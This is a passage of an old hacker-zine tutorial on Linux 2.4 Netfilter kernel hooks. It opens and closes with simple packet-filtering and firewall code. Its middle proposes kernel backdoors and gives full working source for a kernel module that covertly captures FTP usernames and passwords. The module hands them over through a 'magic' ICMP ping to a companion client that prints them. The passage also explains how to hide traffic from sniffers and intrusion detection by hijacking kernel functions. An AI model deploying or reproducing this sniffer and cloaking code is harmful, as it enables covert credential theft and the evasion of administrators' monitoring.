return NF_ACCEPT so that  Netfilter  can continue  processing  the packet.
Listing 4 presents the simple module  used to  demonstrate interface based
filtering  changed so  that it drops packets that  match a  particular  IP
address.

Listing 4. Filtering packets based on their source address
          /* Sample code to install a Netfilter hook function that will
          * drop all incoming packets from an IP address we specify */

          #define __KERNEL__
          #define MODULE

          #include <linux/module.h>
          #include <linux/kernel.h>
          #include <linux/skbuff.h>
          #include <linux/ip.h>                  /* For IP header */
          #include <linux/netfilter.h>
          #include <linux/netfilter_ipv4.h>

          /* This is the structure we shall use to register our function */
          static struct nf_hook_ops nfho;

          /* IP address we want to drop packets from, in NB order */
          static unsigned char *drop_ip = "\x7f\x00\x00\x01";

          /* This is the hook function itself */
          unsigned int hook_func(unsigned int hooknum,
                                 struct sk_buff **skb,
                                 const struct net_device *in,
                                 const struct net_device *out,
                                 int (*okfn)(struct sk_buff *))
          {
              struct sk_buff *sb = *skb;

              if (sb->nh.iph->saddr == drop_ip) {
                  printk("Dropped packet from... %d.%d.%d.%d\n",
		  	  *drop_ip, *(drop_ip + 1),
			  *(drop_ip + 2), *(drop_ip + 3));
                  return NF_DROP;
              } else {
                  return NF_ACCEPT;
              }
          }

          /* Initialisation routine */
          int init_module()
          {
              /* Fill in our hook structure */
              nfho.hook     = hook_func;
              /* Handler function */
              nfho.hooknum  = NF_IP_PRE_ROUTING; /* First for IPv4 */
              nfho.pf       = PF_INET;
              nfho.priority = NF_IP_PRI_FIRST;   /* Make our func first */
          
              nf_register_hook(&nfho);

              return 0;
          }
          
	  /* Cleanup routine */
          void cleanup_module()
          {
              nf_unregister_hook(&nfho);
          }


----[ 4.4 - Filtering by TCP port

Another simple  rule to  implement is the  filtering of  packets based on
their TCP destination port.  This is only a bit more fiddly than checking
IP addresses because  we need  to  create  a  pointer  to  the TCP header
ourselves.  Remember what was discussed earlier about  transport  headers
and  network  headers?  Getting a pointer  to the TCP header  is a simple
matter of allocating a pointer to a struct tcphdr (define in linux/tcp.h)
and  pointing after the IP header in our packet data.  Perhaps an example
would help.  Listing 5 presents code to check if the destination TCP port
of a packet matches some  port we want to drop all  packets for.  As with
listing 3, this was taken from LWFW.

Listing 5. Checking the TCP destination port of a received packet
          unsigned char *deny_port = "\x00\x19";   /* port 25 */

	  ...

          static int check_tcp_packet(struct sk_buff *skb)
          {
              struct tcphdr *thead;

              /* We don't want any NULL pointers in the chain
	       * to the IP header. */
              if (!skb ) return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;

              /* Be sure this is a TCP packet first */
              if (skb->nh.iph->protocol != IPPROTO_TCP) {
                  return NF_ACCEPT;
              }

              thead = (struct tcphdr *)(skb->data +
                                       (skb->nh.iph->ihl * 4));

              /* Now check the destination port */
              if ((thead->dest) == *(unsigned short *)deny_port) {
                  return NF_DROP;
              }
          
	      return NF_ACCEPT;
          }

Very simple indeed. Don't forget that for this function to work deny_port
should be in network byte order.  That's it for packet filtering  basics,
you should have a fair understanding of how to get to the information you
want for a specific packet.  Now it's time to move onto more  interesting
stuff.


--[ 5 - Other possibilities for Netfilter hooks

Here I'll  make some  proposals for  other cool stuff to do with Netfilter
hooks. Section 5.1 will simply provide food for thought, while section 5.2
shall  discuss and  provide working code for a kernel based  FTP  password
sniffer with  remote password  retrieval that really does work. It fact it
works so well it scares me, and I wrote it.

----[ 5.1 - Hidden backdoor daemons

Kernel module  programming would have  to be one  of the  most interesting
areas of development for Linux.  Writing code in the kernel means  you are
writing code in a place  where you are  limited only by  your imagination.
From a malicous point of  view you can  hide files,  processes, and do all
sorts of cool things that  any  rootkit worth its salt is capable of. Then
from a not-so-malicious point of view (yes people  with this point of view
do exist) you can hide  files,  processes and do all sorts of cool things.
The kernel really is a fascinating place.

Now with all the power made available to a kernel level  programmer, there
are  a lot of possibilities.  Possibly one  of the most  interesting  (and
scary for  system  administrators) is  the possibility of backdoors  built
right into the kernel.  Afterall, if a  backdoor doesn't  run as a process
then how do you know it's running? Of course there are ways of making your
kernel  cough-up  such backdoors,  but they are by  no means  as easy  and
simple as running ps.  Now the idea of putting backdoor code into a kernel
is not new.  What I'm proposing  here, however, is placing  simple network
services as kernel backdoors using, you guessed it, Netfilter hooks.

If  you have the  necessary skills and willingness to crash your kernel in
the name of experimentation,  then you can  construct  simple  but  useful
network services located  entirely in the  kernel and accessible remotely.
Basically a  Netfilter  hook could  watch incoming  packets  for a "magic"
packet  and  when  that magic packet  is received,  do something  special.
Results can then be sent from the Netfilter hook and the hook function can
return NF_STOLEN so that the received "magic" packet goes no further. Note
however, that when sending in such a fassion, outgoing packets will  still
be visible on the outbound Netfilter hooks. Therefore userspace is totally
unaware  that  the magic  packet  ever  arrived, but they  can  still  see
whatever you send out. Beware! Just because a sniffer on a compromised host
can't see the packet, doesn't mean that a sniffer  on an intermediate host
can't see the packet.

kossak  and  lifeline wrote an excellent article for Phrack describing how
such things could  be done by registering  packet  type handlers. Although
this document deals with  Netfilter  hooks I still  suggest reading  their
article  (Issue 55, file 12)  as it is a very  interesting  read with some
very interesting ideas being presented.

So what kind of work  could a  backdoor  Netfilter hook do? Well, here are
some suggestions:
  -- Remote access key-logger. Module logs keystrokes and results are
     sent to a remote host when that host sends a PING request. So a
     stream of keystroke information could be made to look like a steady
     (don't flood) stream of PING replies. Of course one would want to
     implement a simple encryption so that ASCII keys don't show
     themselves immediately and some alert system administrator goes
     "Hang on. I typed that over my SSH session before! Oh $%@T%&!".
  -- Various simple administration tasks such as getting lists of who is
     currently logged onto the machine or obtaining information about
     open network connections.
  -- Not really a backdoor as such, but a module that sits on a network
     perimeter and blocks any traffic suspected to come from trojans,
     ICMP covert channels or file sharing tools like KaZaa.
  -- File transfer "server". I have implemented this idea recently. The
     resulting LKM is hours of fun :).
  -- Packet bouncer. Redirects packets aimed at a special port on the
     backdoored host to another IP host and port and sends packets from
     that host back to the initiator. No process being spawned and best of
     all, no network socket being opened.
  -- Packet bouncer as described above used to communicate with critical
     systems on a network in a semi-covert manner. Eg. configuring routers
     and such.
  -- FTP/POP3/Telnet password sniffer. Sniff outgoing passwords and save
     the information until a magic packet comes in asking for it.

Well that's a short list of ideas.  The last one will actually  be discussed
in more detail in the next section as it provides a nice oppurtunity to look
at some more functions internal to the kernel's network code.

----[ 5.2 - Kernel based FTP password sniffer

Presented here is a simple proof-of-concept module that acts as a Netfilter
backdoor. This module will sniff  outgoing FTP packets  looking for a  USER
and  PASS command pair for an FTP server.  When a pair is  found the module
will then wait for  a "magic" ICMP ECHO (Ping) packet big  enough to return
the server's IP  address and the username and password.  Also provided is a
quick hack that sends a magic packet, gets a reply then prints the returned
information. Once a username/password pair has been read from the module it
will then look for the next pair. Note that only one pair will be stored by
the module at one time.  Now that a brief overview  has been provided, it's
time to present a more detailed look at how the module does its thing.

When loaded,  the module's  init_module()  function  simply  registers  two
Netfilter  hooks.  The  first  one is used  to watch  incoming  traffic (on
NF_IP_PRE_ROUTING)  in an attempt  to find a "magic" ICMP packet.  The next
one is used  to watch  traffic leaving the machine  (on NF_IP_POST_ROUTING)
the  module is installed on.  This is where the search  and capture of  FTP
USER  and  PASS  packets happens.  The  cleanup_module()  procedure  simply
unregisters these two hooks.

watch_out()  is the  function used to hook  NF_IP_POST_ROUTING.  Looking at
this  function  you can see  that it is very  simple  in operation.  When a
packet enters the function it is run through various checks to be sure it's
an  FTP  packet.  If it's not  then a  value  of   NF_ACCEPT   is  returned
immediately.  If it is an FTP packet then the module checks to be sure that
it doesn't already have a username and password pair already queued.  If it
does (as signalled by have_pair being non-zero) then  NF_ACCEPT is returned
and the packet can  finally leave the system.  Otherwise,  the  check_ftp()
procedure is called.  This is where  extraction of passwords actually takes
place.  If no previous packets  have been received then the  target_ip  and
target_port variables should be cleared.

check_ftp()  starts by looking for either  "USER",  "PASS" or "QUIT" at the
beginning of the packet.  Note that  PASS commands  will not  be  processed
until a USER command has been processed. This prevents deadlock that occurs
if for  some reason  a PASS command  is received first  and the  connection
breaks before  USER arrives.  Also, if a  QUIT  command arrives  and only a
username has been captured then things are reset so sniffing can start over
on a new connection. When a USER or PASS command arrives, if the  necessary
sanity checks are passed then the argument  to the command  is copied. Just
before check_ftp() finishes under normal operations, it checks to see if it
now has a valid username and password string. If it does then  have_pair is
set and no more  usernames or  passwords will be grabbed  until the current
pair is retrieved.

So far you have seen how this module installs itself and begins looking for
usernames  and passwords  to log.  Now you  shall see what happens when the
specially  formatted "magic" packet arrives.  Pay particular attention here
because this is where the most problems arose during development. 16 kernel
faults if I remember correctly :).  When packets come into the machine with
this module installed, watch_in() checks each one  to see if it is a  magic
packet.  If it does not pass  the necessary  requirements to be  considered
magic,  then  the  packet  is  ignored by  watch_in()  who  simply  returns
NF_ACCEPT.  Notice how one of the  criteria for  magic packets is that they
have enough room  to hold the IP address and username and password strings.
This is done to make sending the reply easier.  A fresh sk_buff  could have
been allocated,  but getting  all of the  necessary  fields  right  can  be
difficult  and you  have to  get them right!  So instead of  creating a new
structure for  our reply  packet, we  simply  tweak  the  request  packet's
structure.  To  return the  packet successfully, several changes need to be
made.  Firstly, the  IP addresses  are swapped  around and  the packet type
field of the  sk_buff  structure (pkt_type)  is changed to  PACKET_OUTGOING
which is defined in  linux/if_packet.h.  The next thing to take  care of is
making sure any link  layer  headers are included.  The data  field of  our
received packet's sk_buff points after the  link layer header and it is the
data field that points to the beginning of  packet data to be  transmitted.
So for interfaces that require the link layer header (Ethernet and Loopback
Point-to-Point is raw) we  point the  data field  to the  mac.ethernet  or
mac.raw structures. To determine what type of interface this packet came in
on, you can check  the value of  sb->dev->type  where  sb is a pointer to a
sk_buff  structure.   Valid  values  for  this   field   can  be  found  in
linux/if_arp.h but the most useful are given below in table 3.

Table 3: Common values for interface types

Type Code        Interface Type
ARPHRD_ETHER     Ethernet
ARPHRD_LOOPBACK  Loopback device
ARPHRD_PPP       Point-to-point (eg. dialup)

The last thing to be done is actually copy the data we want to send in our
reply.  It's now time to send the packet.  The  dev_queue_xmit()  function
takes a pointer to a sk_buff structure as it's only argument and returns a
negative errno  code on a nice  failure.  What do I  mean by nice failure?
Well, if you give dev_queue_xmit() a badly constructed socket buffer  then
you will get a  not-so-nice  failure.  One that comes complete with kernel
fault and kernel stack dump information. See how failures can be splt into
two groups here? Finally, watch_in() returns  NF_STOLEN to tell  Netfilter
to forget it ever saw the packet (bit of a Jedi Mind Trick). Do NOT return
NF_DROP  if you have  called  dev_queue_xmit()!  If you do  then you  will
quickly get a nasty kernel fault.  This is because  dev_queue_xmit()  will
free the passed in socket buffer and Netfilter will attempt to do the same
with an NF_DROPped packet. Well that's enough discussion on the code, it's
now time to actually see the code.


------[ 5.2.1 - The code... nfsniff.c

<++> nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
 * A captured Username and Password pair are sent to a remote host
 * when that host sends a specially formatted ICMP packet. Here we
 * shall use an ICMP_ECHO packet whose code field is set to 0x5B
 * *AND* the packet has enough
 * space after the headers to fit a 4-byte IP address and the
 * username and password fields which are a max. of 15 characters
 * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

 /* Written by bioforge,  March 2003 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) \
			       - sizeof(struct iphdr) \
			       - sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
 * they are queried. Only one USER/PASS pair will be held at one
 * time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;	 /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
 * same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;	       /* Incoming */
struct nf_hook_ops  post_hook;	       /* Outgoing */


/* Function that looks at an sk_buff that is known to be an FTP packet.
 * Looks for the USER and PASS fields and makes sure they both come from
 * the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   int len = 0;
   int i = 0;
   
   tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   data = (char *)((int)tcp + (int)(tcp->doff * 4));

   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
       return;
   
   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;
      
      if (username)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
	     && *(data + i) != '\0' && i < 15) {
	 len++;
	 i++;
      }
      
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
	return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);
      *(username + len) = '\0';	       /* NULL terminate */
   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;

      /* If a username hasn't been logged yet then don't try logging
       * a password */
      if (username == NULL) return;
      if (password)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
	     && *(data + i) != '\0' && i < 15) {
	 len++;
	 i++;
      }

      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
	return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = '\0';	       /* NULL terminate */
   } else if (strncmp(data, "QUIT", 4) == 0) {
      /* Quit command received. If we have a username but no password,
       * clear the username and reset everything */
      if (have_pair)  return;
      if (username && !password) {
	 kfree(username);
	 username = NULL;
	 target_port = target_ip = 0;
	 have_pair = 0;
	 
	 return;
      }
   } else {
      return;
   }

   if (!target_ip)
     target_ip = skb->nh.iph->daddr;
   if (!target_port)
     target_port = tcp->source;

   if (username && password)
     have_pair++;		       /* Have a pair. Ignore others until
					* this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %s\n", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
 * FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
			      struct sk_buff **skb,
			      const struct net_device *in,
			      const struct net_device *out,
			      int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct tcphdr *tcp;
   
   /* Make sure this is a TCP packet first */
   if (sb->nh.iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;		       /* Nope, not TCP */
   
   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
   
   /* Now check to see if it's an FTP packet */
   if (tcp->dest != htons(21))
     return NF_ACCEPT;		       /* Nope, not FTP */
   
   /* Parse the FTP packet for relevant information if we don't already
    * have a username and password pair. */
   if (!have_pair)
     check_ftp(sb);
   
   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}


/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
 * When that is received, we tweak the skb structure to send a reply
 * back to the requesting host and tell Netfilter that we stole the
 * packet. */
static unsigned int watch_in(unsigned int hooknum,
			     struct sk_buff **skb,
			     const struct net_device *in,
			     const struct net_device *out,
			     int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;		       /* Where we copy data to in reply */
   unsigned int   taddr;	       /* Temporary IP holder */

   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;
     
   /* Is this an ICMP packet? */
   if (sb->nh.iph->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
   
   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

   /* Is it the MAGIC packet? */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }
   
   /* Okay, matches our checks for "Magicness", now we fiddle with
    * the sk_buff to insert the IP address, and username/password pair,
    * swap IP source and destination addresses and ethernet addresses
    * if necessary and then transmit the packet from here and tell
    * Netfilter we stole it. Phew... */
   taddr = sb->nh.iph->saddr;
   sb->nh.iph->saddr = sb->nh.iph->daddr;
   sb->nh.iph->daddr = taddr;

   sb->pkt_type = PACKET_OUTGOING;

   switch (sb->dev->type) {
    case ARPHRD_PPP:		       /* No fiddling needs doing */
      break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
	{
	   unsigned char t_hwaddr[ETH_ALEN];
	   
	   /* Move the data pointer to point to the link layer header */
	   sb->data = (unsigned char *)sb->mac.ethernet;
	   sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
	   memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
	   memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
		  ETH_ALEN);
	   memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
  
	   break;
	}
   };
 
   /* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);
   if (username)
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);
   
   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sb);

   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
   
   target_port = target_ip = 0;

//   printk("Password retrieved\n");
   
   return NF_STOLEN;
}

int init_module()
{
   pre_hook.hook     = watch_in;
   pre_hook.pf       = PF_INET;
   pre_hook.priority = NF_IP_PRI_FIRST;
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;
   
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING;
   
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
   
   return 0;
}

void cleanup_module()
{
   nf_unregister_hook(&post_hook);
   nf_unregister_hook(&pre_hook);
   
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}
<-->

------[ 5.2.2 - getpass.c

<++> nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
 * the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
 * Mostly stripped from my source for InfoPig.
 *
 * Written by bioforge  -  March 2003 */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#ifndef __USE_BSD
# define __USE_BSD		       /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
    unsigned char dgram[256];	       /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;
    
    if (argc < 3) {
	fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
	exit(1);
    }

    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
	fprintf(stderr, "Couldn't open raw socket! %s\n",
		strerror(errno));
	exit(1);
    }

    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
		  ptr_one, sizeof(one)) < 0) {
	close(icmp_sock);
	fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
	        strerror(errno));
	exit(1);
    }
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);
    
    my_addr.s_addr = inet_addr(argv[2]);
    
    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);
    
    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;
    
    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
    
    /* Finally, send the packet */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
	       sizeof(struct sockaddr)) < 0) {
	fprintf(stderr, "\nFailed sending request! %s\n",
		strerror(errno));
	return 0;
    }

    fprintf(stdout, "Waiting for reply...\n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
		 &src_addr_size) < 0) {
	fprintf(stdout, "Failed getting reply packet! %s\n",
		strerror(errno));
	close(icmp_sock);
	exit(1);
    }
	
    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),
    	   sizeof (struct in_addr));
    
    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n",
	     (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s\n",
	     (char *)((char *)icmphead + 28));
    
    close(icmp_sock);
    
    return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
 * reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
 * Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;
   
   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
   
   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);
   
   return ~sum;
}
<-->


--[ 6 - Hiding network traffic from Libpcap

   This section will briefly describe how the Linux 2.4 kernel
 can be hacked to make network traffic that matches predefined
 conditions invisible to packet  sniffing software  running on
 the local machine.  Presented at the  end of  this article is
 working  code that will  do such a thing for all IPv4 traffic
 coming from or  going to a particular  IP address.  So  let's
 get started shall we...
 
----[ 6.1 - SOCK_PACKET, SOCK_RAW and Libpcap

   Some of the most useful software for a system administrator
 is that which  can be classified  under the  broad  title  of
 "packet sniffer".  Two of the most common examples of general
 purpose packet sniffers are  tcpdump(1) and Ethereal(1). Both
 of these applications utilise the Libpcap library  (available
 from [1] along with tcpdump) to capture raw packets.  Network
 Intrusion  Detection  Systems  (NIDS)  also  make  use of the
 Libpcap library.  SNORT requires Libpcap, as does  Libnids, a
 NIDS  writing  library that  provides  IP  reassembly and TCP
 stream following and is available from [2].
 
   On Linux systems, the Libpcap library uses the  SOCK_PACKET
 interface.  Packet sockets  are special  sockets  that can be
 used to send and receive raw packets at the link layer. There
 is a lot that can be said about packet sockets and their use.
 However, because this  section is about  hiding from them and
 not using them,  the interested  reader is  directed  to  the
 packet(7) man page.  For the  discussion  here,  it  is  only
 neccessary to understand that packet sockets are what Libpcap
 applications use to get the information on raw packets coming
 into or going out of the machine.
 
   When a packet is received by the kernel's network  stack, a
 check is  performed to see  if there  are any packet  sockets
 that would be  interested in this packet.  If there  are then
 the packet is delivered to those interested sockets.  If not,
 the packet simply  continues on it's  way to the  TCP, UDP or
 other socket type that it's  truly bound for.  The same thing
 happens for sockets  of type SOCK_RAW.  Raw sockets  are very
 similar to packet sockets,  except they do not  provide  link
 layer headers.  An  example of a  utility  that utilises  raw
 IP  sockets is my SYNalert  utility, available at [3]  (sorry
 about the shameless plug there :).

   So now you  should see  that packet  sniffing  software  on
 Linux uses the Libpcap library.  Libpcap utilises the  packet
 socket  interface  to obtain raw  packets with link layers on
 Linux systems.  Raw sockets  were also mentioned which act as
 a way for user space  applications to obtain packets complete
 with IP headers.  The next  section will  discuss how  an LKM
 can be used to hide network traffic from these packet and raw
 socket interfaces.


------[ 6.2 Wrapping the cloak around the dagger

   When a packet is  received and sent to a packet socket, the
 packet_rcv() function  is called.  This function can be found
 in  net/packet/af_packet.c.  packet_rcv() is  responsible for
 running the  packet through any  socket  filters that  may be
 applied  to the  destination  socket  and  then the  ultimate
 delivery of the  packet to  user space.  To hide packets from
 a packet  socket we need to prevent  packet_rcv()  from being
 called  at all for certain packets.  How do we do this?  With
 good ol'-fashioned function hijacking of course. 
 
   The basic operation of  function  hijacking  is that  if we
 know the  address of a kernel  function,  even one that's not
 exported, we can  redirect that function to  another location
 before  we allow  the real code to run.  To do this we  first
 save  so  many of the  original  instruction  bytes from  the
 beginning of the  function and replace them with  instruction
 bytes that perform an absolute jump to our own code.  Example
 i386 assembler to do this is given here:
 
        movl  (address of our function),  %eax
	jmp   *eax
 
   The generated hex bytes of these instructions (substituting
 zero as our function address) are:
 
        0xb8 0x00 0x00 0x00 0x00
	0xff 0xe0
 
   If in the  initialisation of an LKM we  change the function
 address  of  zero  in  the  code  above to  that of our  hook
 function, we can make our hook function run first.  When (if)
 we want to run  the original  function we simply  restore the
 original bytes at the  beginning, call the function  and then
 replace  our  hijacking code.  Simple, but  powerful.  Silvio
 Cesare has written a  document a while  ago detailing  kernel
 function hijacking. See [4] in the references.

   Now to hide  packets from  packet  sockets we need to first
 write the hook  function that will  check to see if a  packet
 matches our criteria to be hidden.  If it does, then our hook
 function simply returns zero to it's caller and  packet_rcv()
 never  gets called.  If packet_rcv()  never gets called, then
 the  packet is  never  delivered  to the  user  space  packet
 socket.  Note  that it is only the *packet*  socket that this
 packet will be dropped on.  If we want to filter FTP  packets
 from being sent to  packet sockets then the  FTP server's TCP
 socket will  still see the  packet.  All that  we've done  is
 made that packet  invisible to any sniffer  software that may
 be running on the host.  The FTP server will still be able to
 process and log the connection.
 
   In theory that's all there is too it.  The same  thing  can
 be  done for raw  sockets as well.  The difference is that we
 need to hook  the  raw_rcv()  function (net/ipv4/raw.c).  The
 next  section will  present and  discuss  source  code for an
 example LKM that will  hijack the packet_rcv() and  raw_rcv()
 functions and hide any  packets going to or coming from an IP
 address that we specify.


--[ 7 - Conclusion

Hopefully by now you have at least a basic understanding of what Netfilter
is, how to use it  and what you can do with it. You should also  have  the
knowledge to hide special network traffic from sniffing software running on
the local machine.If you would like a tarball of the sources used for this
tutorial then just  email me.  I  would also  appreciate any  corrections,
comments  or suggestions. Now I leave it to you and your imagination to do
something interesting with what I have presented here.


--[ A - Light-Weight Fire Wall
----[ A.1 - Overview

The  Light-Weight  Fire  Wall  (LWFW)  is  a  simple  kernel  module  that
demonstrates  the basic  packet  filtering  techniques that were presented
in section 4.LWFW also  provides a control  interface  through the ioctl()
system call.

Because the LWFW source is  sufficiently  documented I will  only  provide
a brief overview  of how it  works.  When the  LWFW  module  is  installed
its  first  task  is to try and  register the  control  device.  Note that
before the ioctl()  interface to LWFW can be used, a character device file
needs to be made in /dev.  If the control device registration succeeds the
"in use" marker is cleared and  the hook function for  NF_IP_PRE_ROUTE  is
registered. The clean-up function simply does the reverse of this process.

LWFW provides three basic options for dropping packets. These are, in the
order of processing:
  -- Source interface
  -- Source IP address
  -- Destination TCP port

The specifics of these rules are set with the ioctl() interface.
When a packet is received LWFW will check it against all the rules which
have been set. If it matches any of the rules then the hook function will
return NF_DROP and Netfilter will silently drop the packet. Otherwise
the hook function will return NF_ACCEPT and the packet will continue
on its way.

The last thing worth mentioning is LWFW's statistics logging. Whenever a
packet comes into the hook function and LWFW is active the total
number of packets seen is incremented. The individual rules checking
functions are responsible for incrementing their respective count of
dropped packets. Note that when a rule's value is changed its count of
dropped packets is reset to zero. The lwfwstats program utilises the
LWFW_GET_STATS IOCTL to get a copy of the statistics structure and
display it's contents.


----[ A.2 - The source...  lwfw.c

<++> lwfw/lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
 * Netfilter for 2.4. Designed for educational purposes.
 * 
 * Written by bioforge  -  March 2003.
 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/net.h>
#include <linux/types.h>
#include <linux/skbuff.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#include <asm/errno.h>
#include <asm/uaccess.h>

#include "lwfw.h"

/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
		      unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);


/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
 * can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.
 * If this is zero then LWFW automatically allows all packets. */
static int active = 0;

/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
				    | LWFW_IP_DENY_ACTIVE
				    | LWFW_PORT_DENY_ACTIVE);

